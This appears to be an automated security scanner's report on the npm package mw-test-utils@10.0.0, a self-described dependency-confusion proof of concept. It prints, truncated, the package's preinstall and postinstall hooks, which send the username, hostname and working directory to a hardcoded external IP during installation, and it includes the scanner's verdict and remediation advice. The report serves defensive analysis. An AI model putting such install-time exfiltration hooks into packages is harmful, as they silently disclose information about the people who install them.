mw-test-utils@10.0.0
Benign security placeholder / dependency-confusion PoC, no functional code. See Moveworks bug bounty report.
AI Security Review
scanned 9d ago · by lpm-firewall-aiThe lifecycle hooks perform unconsented disclosure of installer and environment identifiers to a hardcoded external recipient. This concrete installation behavior supports blocking publication.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Package installation runs preinstall and postinstall.
Impact
The recipient learns identifying information about the installer and the installation context.
Mechanism
Each hook makes an HTTP GET request carrying the username, hostname, and current working directory; no consent guard is present.
Attack narrative
During installation, both lifecycle hooks send the username, hostname, and working directory to a fixed external server. The source shows no consent guard, so this is an automatic installation-time disclosure.
AI rationale
The lifecycle hooks perform unconsented disclosure of installer and environment identifiers to a hardcoded external recipient. This concrete installation behavior supports blocking publication.
Evidence
package.json
Network endpoints1
38.242.235.206
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Both automatic install hooks send the username, hostname, and working directory to a hardcoded external IP.
- The requests run during preinstall and postinstall without a consent guard.
Evidence against
- The main entrypoint only exports an empty object; this does not prevent the install hooks from running.
Behavioral surface
Trivial
Source & flagged code
8 flaggedpackage.jsonView file
•scripts.preinstall = node -e "require('http').get('http://38.242.235.206/depconf/mw-test-utils/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(req...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "require('http').get('http://38.242.235.206/depconf/mw-test-utils/postinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(re...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "require('http').get('http://38.242.235.206/depconf/mw-test-utils/postinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(re...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgFindings
2 Critical6 High1 Low
CriticalRed Install Lifecycle Scriptpackage.json
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Lifecycle Evidenceindex.js
LowScripts Present
Affected versions and remediation
This report applies to mw-test-utils@10.0.0.
See all versions of mw-test-utils for other recorded verdicts.
- Avoid installing mw-test-utils@10.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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